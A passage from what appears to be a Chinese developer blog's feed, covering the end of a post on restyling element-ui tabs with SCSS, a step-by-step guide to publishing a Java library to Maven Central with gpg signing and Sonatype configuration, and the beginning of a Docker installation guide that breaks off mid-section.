class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">/deep/ <span class="selector-class">.el-tabs</span>&#123;</span><br><span class="line">  <span class="selector-class">.el-tabs__header</span>&#123;</span><br><span class="line">    <span class="selector-class">.el-tabs__nav-wrap</span>&#123;</span><br><span class="line">      <span class="selector-class">.el-tabs__nav-scroll</span>&#123;</span><br><span class="line">        <span class="selector-class">.el-tabs__nav</span>&#123;</span><br><span class="line">          <span class="selector-class">.el-tabs__active-bar</span>&#123;</span><br><span class="line">            <span class="attribute">display</span>: none;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="selector-class">.el-tabs__item</span>&#123;</span><br><span class="line">            <span class="attribute">width</span>: <span class="number">120px</span>;</span><br><span class="line">            <span class="attribute">height</span>: <span class="number">30px</span>;</span><br><span class="line">            <span class="attribute">padding</span>: <span class="number">0</span>;</span><br><span class="line">            <span class="selector-tag">text</span>-align: left;</span><br><span class="line">            <span class="selector-tag">line</span>-<span class="attribute">height</span>: <span class="number">30px</span>;</span><br><span class="line">            <span class="attribute">font-size</span>: <span class="number">12px</span>;</span><br><span class="line">            <span class="attribute">color</span>: <span class="number">#666c80</span>;</span><br><span class="line">            <span class="attribute">border-radius</span>: <span class="number">6px</span>;</span><br><span class="line">            <span class="attribute">border</span>: <span class="number">0</span>;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="selector-class">.el-tabs__item</span><span class="selector-class">.is-active</span>&#123;</span><br><span class="line">            <span class="attribute">color</span>: <span class="number">#ffffff</span>;</span><br><span class="line">            <span class="attribute">background</span>: <span class="number">#4887f6</span>;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="selector-class">.el-tabs__nav-wrap</span><span class="selector-pseudo">::after</span>&#123;</span><br><span class="line">    <span class="attribute">display</span>: none;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">修改element-ui中原生组件的样式，使其满足业务场景需要。</summary>
    
    
    
    <category term="vue" scheme="https://blog.allbs.cn/categories/vue/"/>
    
    
    <category term="element-ui" scheme="https://blog.allbs.cn/tags/element-ui/"/>
    
    <category term="组件" scheme="https://blog.allbs.cn/tags/%E7%BB%84%E4%BB%B6/"/>
    
    <category term="css" scheme="https://blog.allbs.cn/tags/css/"/>
    
    <category term="scss" scheme="https://blog.allbs.cn/tags/scss/"/>
    
  </entry>
  
  <entry>
    <title>发布工具包至maven中心库</title>
    <link href="https://blog.allbs.cn/posts/33831/"/>
    <id>https://blog.allbs.cn/posts/33831/</id>
    <published>2022-09-02T09:57:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="注册">注册</h2><a class="tag-Link" target="_blank" href="https://issues.sonatype.org/">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/issues.sonatype.org/.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">在maven中心库注册</div>            <div class="tag-link-sitename">注册</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><h2 id="提出工单">提出工单</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/202109091744235.png" alt="image"></p><h2 id="查看审核记录">查看审核记录</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/202109091744258.png" alt="image"></p><h2 id="gpg密钥">gpg密钥</h2><p><a href="https://www.gpg4win.org/">下载位置</a></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 密钥生成</span></span><br><span class="line">gpg --gen-key</span><br><span class="line"><span class="comment"># 上传公钥</span></span><br><span class="line">gpg --keyserver hkp://keyserver.ubuntu.com:80 --send-keys 公钥</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看公钥是否上传成功</span></span><br><span class="line">gpg --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 公钥</span><br></pre></td></tr></table></figure><h2 id="配置maven-setting-xml">配置maven setting.xml</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">settings</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://maven.apache.org/SETTINGS/1.0.0&quot;</span></span></span><br><span class="line"><span class="tag">          <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag">          <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">pluginGroups</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">pluginGroups</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">proxies</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">proxies</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">servers</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">server</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>sonatype-nexus-snapshots<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">username</span>&gt;</span>sonatype账号<span class="tag">&lt;/<span class="name">username</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">password</span>&gt;</span>sonatype密码<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">server</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">server</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>sonatype-nexus-staging<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">username</span>&gt;</span>sonatype账号<span class="tag">&lt;/<span class="name">username</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">password</span>&gt;</span>sonatype密码<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">server</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">servers</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">mirrors</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">mirrors</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">profiles</span>&gt;</span></span><br><span class="line">     <span class="tag">&lt;<span class="name">profile</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>gpg<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">gpg.executable</span>&gt;</span>gpg<span class="tag">&lt;/<span class="name">gpg.executable</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">gpg.passphrase</span>&gt;</span>生成gpg时设置的密码<span class="tag">&lt;/<span class="name">gpg.passphrase</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">profile</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">profiles</span>&gt;</span></span><br><span class="line">  </span><br><span class="line">  <span class="tag">&lt;<span class="name">activeProfiles</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">activeProfile</span>&gt;</span>gpg<span class="tag">&lt;/<span class="name">activeProfile</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">activeProfiles</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">settings</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="配置环境变量应对javadoc检查">配置环境变量应对javadoc检查</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/202109091744505.png" alt="image"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">JAVA_TOOL_OPTIONS</span><br><span class="line">-Dfile.encoding=UTF-8</span><br></pre></td></tr></table></figure><h2 id="配置pom-xml">配置pom.xml</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">licenses</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">license</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">name</span>&gt;</span>The Apache Software License, Version 2.0<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">url</span>&gt;</span>http://www.apache.org/licenses/LICENSE-2.0.txt<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">distribution</span>&gt;</span>repo<span class="tag">&lt;/<span class="name">distribution</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">license</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">licenses</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">scm</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">tag</span>&gt;</span>版本号<span class="tag">&lt;/<span class="name">tag</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>git@github.com:chenqi92/allbs-utils-core.git<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">connection</span>&gt;</span>scm:git:git@github.com:chenqi92/allbs-utils-core.git<span class="tag">&lt;/<span class="name">connection</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">developerConnection</span>&gt;</span>scm:git:git@github.com:chenqi92/allbs-utils-core.git<span class="tag">&lt;/<span class="name">developerConnection</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">scm</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">developers</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">developer</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">name</span>&gt;</span>chenQi<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">email</span>&gt;</span>cq92104@outlook.com<span class="tag">&lt;/<span class="name">email</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">organization</span>&gt;</span>allbs<span class="tag">&lt;/<span class="name">organization</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">developer</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">developers</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">build</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">plugins</span>&gt;</span></span><br><span class="line">        <span class="comment">&lt;!-- doc plugin,Maven API文档生成插件 --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-javadoc-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.1.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">            <span class="comment">&lt;!-- javadoc检查跳过 --&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">failOnError</span>&gt;</span>false<span class="tag">&lt;/<span class="name">failOnError</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">doclint</span>&gt;</span>none<span class="tag">&lt;/<span class="name">doclint</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">executions</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">execution</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">id</span>&gt;</span>attach-javadocs<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">goals</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">goal</span>&gt;</span>jar<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">goals</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">execution</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">executions</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">        <span class="comment">&lt;!-- resources plugin,Maven 资源插件 --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-source-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.1.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">executions</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">execution</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">id</span>&gt;</span>attach-sources<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">goals</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">goal</span>&gt;</span>jar-no-fork<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">goals</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">execution</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">executions</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">        <span class="comment">&lt;!-- compiler plugin,Maven 编译插件 --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-compiler-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.3<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">source</span>&gt;</span>$&#123;java.version&#125;<span class="tag">&lt;/<span class="name">source</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">target</span>&gt;</span>$&#123;java.version&#125;<span class="tag">&lt;/<span class="name">target</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">showWarnings</span>&gt;</span>true<span class="tag">&lt;/<span class="name">showWarnings</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">        <span class="comment">&lt;!-- gpg plugin,用于签名认证 --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-gpg-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.6<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">executions</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">execution</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">id</span>&gt;</span>sign-artifacts<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">phase</span>&gt;</span>verify<span class="tag">&lt;/<span class="name">phase</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">goals</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">goal</span>&gt;</span>sign<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">goals</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">execution</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">executions</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">        <span class="comment">&lt;!--staging puglin,用于自动执行发布阶段(免手动)--&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.sonatype.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>nexus-staging-maven-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.6.8<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">extensions</span>&gt;</span>true<span class="tag">&lt;/<span class="name">extensions</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">serverId</span>&gt;</span>sonatype-nexus-snapshots<span class="tag">&lt;/<span class="name">serverId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">nexusUrl</span>&gt;</span>https://s01.oss.sonatype.org/<span class="tag">&lt;/<span class="name">nexusUrl</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">autoReleaseAfterClose</span>&gt;</span>true<span class="tag">&lt;/<span class="name">autoReleaseAfterClose</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">        <span class="comment">&lt;!-- release plugin,用于发布到release仓库部署插件 --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-release-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.4.2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">plugins</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">build</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">distributionManagement</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">snapshotRepository</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>sonatype-nexus-snapshots<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">url</span>&gt;</span>https://s01.oss.sonatype.org/content/repositories/snapshots/<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">snapshotRepository</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">repository</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>sonatype-nexus-staging<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">url</span>&gt;</span>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">repository</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">distributionManagement</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="执行上传命令">执行上传命令</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mvn clean deploy</span><br></pre></td></tr></table></figure><h2 id="如果显示build-success-则说明上传并发布成功">如果显示build success 则说明上传并发布成功</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/202109091744654.png" alt="image"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/202109091744251.png" alt="image"></p><h2 id="如果自动发布失败">如果自动发布失败</h2><p>登录</p><a class="tag-Link" target="_blank" href="https://s01.oss.sonatype.org/#welcome">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/s01.oss.sonatype.org/#welcome.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">在nexus镜像库发布工具包</div>            <div class="tag-link-sitename">nexus</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><p>执行以下步骤</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/09/7b7d694124a30711cc13b0ccb6d4c519.png" alt="image-20220902175005177"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;注册&quot;&gt;注册&lt;/h2&gt;
&lt;a class=&quot;tag-Link&quot; target=&quot;_blank&quot; href=&quot;https://issues.sonatype.org/&quot;&gt;
    &lt;div class=&quot;tag-link-tips&quot;&gt;引用站外地址&lt;/div&gt;
   </summary>
      
    
    
    
    <category term="maven" scheme="https://blog.allbs.cn/categories/maven/"/>
    
    
    <category term="maven" scheme="https://blog.allbs.cn/tags/maven/"/>
    
    <category term="sonatype" scheme="https://blog.allbs.cn/tags/sonatype/"/>
    
    <category term="nexus" scheme="https://blog.allbs.cn/tags/nexus/"/>
    
  </entry>
  
  <entry>
    <title>docker相关操作</title>
    <link href="https://blog.allbs.cn/posts/46273/"/>
    <id>https://blog.allbs.cn/posts/46273/</id>
    <published>2022-09-02T09:15:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="更新yum工具">更新yum工具</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install -y yum-utils</span><br></pre></td></tr></table></figure><h2 id="docker安装官方源">docker安装官方源</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查询安装过的包</span></span><br><span class="line">yum list installed | grep docker</span><br><span class="line"><span class="comment"># 卸载docker</span></span><br><span class="line">yum -y remove docker</span><br><span class="line"><span class="comment"># 下载docke-ce</span></span><br><span class="line">yum-config-manager \</span><br><span class="line">    --add-repo \</span><br><span class="line">    https://download.docker.com/linux/centos/docker-ce.repo</span><br></pre></td></tr></table></figure><h2 id="docker更新">docker更新</h2><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 更新源</span></span><br><span class="line">yum makecache fast</span><br><span class="line"><span class="comment"># 安装</span></span><br><span class="line">yum install docker-ce</span><br><span class="line"><span class="comment"># 开机自启</span></span><br><span class="line">systemctl <span class="built_in">enable</span> docker</span><br><span class="line"><span class="comment"># 启动docker</span></span><br><span class="line">systemctl start docker</span><br></pre></td></tr></table></figure><h2 id="docker-镜像中央仓库">docker 镜像中央仓库</h2><a class="tag-Link" target="_blank" href="https://hub.docker.com">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/hub.docker.com.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">docker镜像中心仓库</div>            <div class="tag-link-sitename">docker</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><h2 id="docker-镜像下载">docker 镜像下载</h2><figure class="highlight 